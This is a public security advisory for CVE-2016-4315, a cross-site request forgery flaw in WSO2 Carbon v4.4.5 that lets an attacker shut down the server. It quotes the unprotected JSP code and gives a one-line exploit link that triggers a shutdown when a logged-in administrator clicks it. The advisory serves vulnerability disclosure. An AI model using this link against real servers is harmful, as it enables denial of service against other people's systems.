[+] Credits: John Page aka HYP3RLINX

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-CSRF-DOS.txt

[+] ISR: ApparitionSec


Vendor:
============
www.wso2.com



Product:
==================
Ws02Carbon v4.4.5

WSO2 Carbon is the core platform on which WSO2 middleware products are
built. It is based on Java OSGi technology, which allows
components to be dynamically installed, started, stopped, updated, and
uninstalled, and it eliminates component version conflicts.
In Carbon, this capability translates into a solid core of common
middleware enterprise components, including clustering, security,
logging, and monitoring, plus the ability to add components for specific
features needed to solve a specific enterprise scenario.



Vulnerability Type:
=================================
Cross Site Request Forgery / DOS



CVE Reference:
==============
CVE-2016-4315




Vulnerability Details:
=====================

The attack involves tricking a privileged user to initiate a request by
clicking a malicious link or visiting an evil webpage to
shutdown WSO2 Servers.


References:
https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0101


The getSafeText() Function and conditional logic below processes the
"action" parameter with no check for inbound CSRF attacks.

String cookie = (String)
session.getAttribute(ServerConstants.ADMIN_SERVICE_COOKIE);
String action =
CharacterEncoder.getSafeText(request.getParameter("action"));
ServerAdminClient client = new ServerAdminClient(ctx, backendServerURL,
cookie, session);

try {
if ("restart".equals(action)) {
    client.restart();
 } else if ("restartGracefully".equals(action)) {
   client.restartGracefully();
 } else if ("shutdown".equals(action)) {
     client.shutdown();
  } else if ("shutdownGracefully".equals(action)) {
      client.shutdownGracefully();
    }
 } catch (Exception e) {
  response.sendError(500, e.getMessage());
   return;
 }



Exploit code(s):
===============

Shutdown the Carbon server

<a href="
https://victim-server:9443/carbon/server-admin/proxy_ajaxprocessor.jsp?action=shutdown">Shut
it down!</a>



Disclosure Timeline:
==========================================
Vendor Notification: May 6, 2016
Vendor Acknowledgement: May 6, 2016
Vendor Fix / Customer Alerts: June 30, 2016
August 12, 2016  : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
================
Medium



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX